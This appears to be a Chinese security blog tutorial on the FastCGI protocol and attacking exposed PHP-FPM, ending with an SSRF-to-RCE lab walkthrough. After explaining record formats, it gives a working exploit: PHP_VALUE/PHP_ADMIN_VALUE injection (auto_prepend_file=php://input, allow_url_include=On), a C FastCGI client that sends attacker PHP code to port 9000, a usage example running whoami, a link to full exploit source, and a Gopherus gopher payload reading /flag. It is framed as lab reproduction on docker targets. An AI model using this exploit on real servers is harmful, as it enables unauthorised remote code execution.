0%

PHP—FPM攻击

PHP—FPM攻击

Fastcgi协议

Fastcgi是服务器中间件和php(或其他语言后端)后端进行数据交换的协议。

record结构

record结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

其中Header由8个成员组成,每个变量占用1个字节。其中requestId2个字节,是一个唯一的标志Id主要是为了避免多个请求之间的影响。contentLength占两个字节,表示body的大小。因此contentData最大大小为1111111111111111也就是65535.后端语言在解析Fastcgi协议时候先通过Header读取contentLength确定body大小.

paddingData是保留块,在不需要的情况下直接置长度为0即可。

type是指定该record的作用,其值和具体含义如下

type值 含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

由于一个record的大小和作用都是有限和单一的。我们只能通过发送多个record,各个record共用一个requestId来表示一个完整消息。

完整消息record

type值 record
1 header(消息头) + 开始请求体(8字节)
3 header + 结束请求体(8字节)
4 header + name-value长度(8字节) + 具体的name-value
5,6,7 header + 具体内容

这是一个完整的record,开始请求通信时候先发送type1record,进行通信时候发送type4、5、6、7record结束通信发送type为2或者3的record.

其中type为4的请求需要特别关注,他会在body中发送键值对这是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

可以看到有四个结构,四个结构分别运用于不同的场景。

结构 用途
FCGI_NameValuePair11 key、value均小于128字节时候使用
FCGI_NameValuePair41 key大于128字节,value小于128字节时候使用
FCGI_NameValuePair14 key小于128字节,value大于128字节时候使用
FCGI_NameValuePair44 key、value均大于128字节时候使用

PHP-FPM

PHP-FPM是Fastcgi协议解析器,中间件在接收客户请求后将客户请求按照Fastcgi对应的格式打包传送给FPM。FPM再按照Fastcgi协议将TCP流解析为数据.

例如,用户在访问http://127.0.0.1/index.php?a=1&b=2时候Nginx会将请求转换为如下键值对(默认web路径为/var/www/html/):

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

PHP-FPM在接收到上述键值对后会将其填充到$_SERVER。也就是PHP的环境变量中,并且会通过SCRIPT_FILENAME变量来执行对应的脚本。

PHP-FPM未授权访问漏洞

PHP-FPM默认监听9000端口,若这个端口暴露在公网上,我们可以通过构造上文所述的Fastcgi协议直接与PHP-FPM通讯执行任意代码。

如何执行任意代码?

其实在PHP5.3.8之前FPM是没有security.limit_extensions配置选项的。在此版本之后加入了该选项,限制了SCRIPT_FILENAME中脚本文件的后缀白名单,导致我们无法让任意当做PHP代码执行。

但是我们可以还可以控制php环境变量,加入我们在环境变量中开启远程文件包含,allow_url_include = On,方式将内容传入那不是可以执行任意代码了吗?

例如:

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

type4发送如下record:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

当然这里需要一个已经存在的php文件。如果我们无法找到服务器的web路径或者php文件,那么我们可以利用一些php安装时候就已经存在的文件。

例如:

/usr/local/lib/php/PEAR.php

那么我们如何利用漏洞呢?我们利用靶机:gqleung/php-fpm来复现此漏洞。我编写了一个Fastcgi客户端程序来发送咱们的攻击Record。具体演示请看文章最后。

EXP编写

通过上文我们可以知道一个基本的攻击流程如下图:

image-20210504092539583

下面以POST数据包为例,简单讲述一下如何构建和发送一个Fastcgi数据包,后文会完整贴出代码。定义一个Header的结构体与上文一致:

typedef struct {
    unsigned char version;
    unsigned char type;
    unsigned char requestIdB1;
    unsigned char requestIdB0;
    unsigned char contentLengthB1;
    unsigned char contentLengthB0;
    unsigned char paddingLength;
    unsigned char reserved;
} FCGI_Header;

构建函数通过结构体来构建Header

static FCGI_Header MakeHeader(int type,int requestId,intcontentLength,int paddingLength){
    FCGI_Header header;
    header.version = FCGI_VERSION_1;
    header.type = (unsigned char) type;
    header.requestIdB1 = (unsigned char) ((requestId     >> 8) & 0xff);
    header.requestIdB0 = (unsigned char) ((requestId         ) & 0xff);
    header.contentLengthB1 = (unsigned char) ((contentLength >> 8) & 0xff);
    header.contentLengthB0 = (unsigned char) ((contentLength     ) & 0xff);
    header.paddingLength = (unsigned char) paddingLength;
    header.reserved = 0;
    return header;
}

编写发送POST数据包函数,其中FCGI_STDIN是定义的常量5,也就是type的值5发送POST-Record的特征,同时我们需要构建Record的body,只需将长度和数据内容写进buff即可,如果大于128需要分开处理一下。具体实现方法如下:

void BuildPostbody(  char *value,
                     int valueLen,
                     unsigned char *bodyBuffPtr,
                     int *bodyLenPtr){
    unsigned char *startBodyBuffPtr = bodyBuffPtr;
    if (valueLen < 0x80) {
        *bodyBuffPtr++ = (unsigned char) valueLen;
    } else {
        *bodyBuffPtr++ = (unsigned char) ((valueLen >> 24) | 0x80);
        *bodyBuffPtr++ = (unsigned char) (valueLen >> 16);
        *bodyBuffPtr++ = (unsigned char) (valueLen >> 8);
        *bodyBuffPtr++ = (unsigned char) valueLen;
    }
    while(*value != '\0'){
        *bodyBuffPtr++ = *value++;
    }
    *bodyLenPtr = bodyBuffPtr - startBodyBuffPtr;
}
void SendPost(char payload[], int payloadLen){
    FCGI_Header  payloadHeader ;
    int valuenameRecordLen,bodyLen;
    valuenameRecordLen =  payloadLen+FCGI_HEADER_LEN;
    char valuenameRecord[valuenameRecordLen];
    unsigned char bodyBuff[PARAMS_BUFF_LEN];
    payloadHeader = MakeHeader(FCGI_STDIN, requestId,payloadLen, 0);
    BuildPostbody(payload,  payloadLen,&bodyBuff[0],&bodyLen);
    memcpy(valuenameRecord, (char *)&payloadHeader, FCGI_HEADER_LEN);
    memcpy(valuenameRecord+FCGI_HEADER_LEN, bodyBuff, bodyLen);
    write(sockfd, (char *)&valuenameRecord, valuenameRecordLen);
}

我们知道POST如何构建了,其他包发送也基本一致,不再赘述。按照上述流程分别编写请求Record,结束Record,发送键值对Record。即可

int main(int argc, char ** argv){
    int i,port;
    char ipaddr[15],*payload,*path;
    if(argc==9) {
        for (i = 0; i < argc; i++) {
            if (strcmp(argv[i], "-t") == 0) {
                strcpy(ipaddr, argv[i + 1]);
            } else if (strcmp(argv[i], "-p") == 0) {
                port = atoi(argv[i + 1]);
            } else if (strcmp(argv[i], "-c") == 0) {
                payload = (char *) malloc(strlen(argv[i + 1]) + 1);
                payload = argv[i + 1];
            } else if (strcmp(argv[i], "-f") == 0) {
                path = (char *) malloc(strlen(argv[i + 1]) + 1);
                path = argv[i + 1];
            }
        }
    }else{
        printf("Wrong number of argc ! Please enter the correct parameters.\n\n-t target\n-p port\n-c php script\n-f file\n\nEg:./a.out -t 8.8.8.8 -p 9000 -c \"<?php echo \\`whoami\\`;?>\" -f \"/usr/local/lib/php/PEAR.php\"\n\n");
        exit(0);
    }
    requestId = rand()%100+1;
    int payloadLen = strlen(payload)+1;
    char content_length[10];
    sprintf(content_length,"%d",payloadLen);
    //发起连接请求
    SendStartRequestRecord(ipaddr, port);
    //发送键值对
    SendKeyValue(path,content_length);
    //发送结束Record
    SendEndRequestRecord();
    //发送攻击POST包
    SendPost(payload,payloadLen);
    //发送结束Record
    SendEndRequestRecord();
    //读取返回包
    ReadRequestRecord();
    return 0;
}

完整代码已经上传到githubhttps://github.com/sharpleung/Fastcgi-PHP-FPM

使用方法:

image-20210504232317603

PHP-FPM SSRF RCE

我们利用靶机:gqleung/php5-fpm(docker镜像)来讲解,如何使用SSRF配合PHP-FPM未授权访问漏洞进行RCE。

靶机是直接给出源码:

image-20210508081953906

咱们用file://协议直接读取文件发现是不行的,通过目录扫描发现目录下存在info.php。发现开启了PHP-FPM考虑使用gophar协议通过SSRF进行RCE。

使用gophers生成相关payload。

 python gopherus.py --exploit fastcgi

image-20210508083553912

由于curl会进行一次URL解码加上传输到服务器会进行解码一次,因此传输的payload需要二次编码,直接cat /flag即可:

image-20210508084053405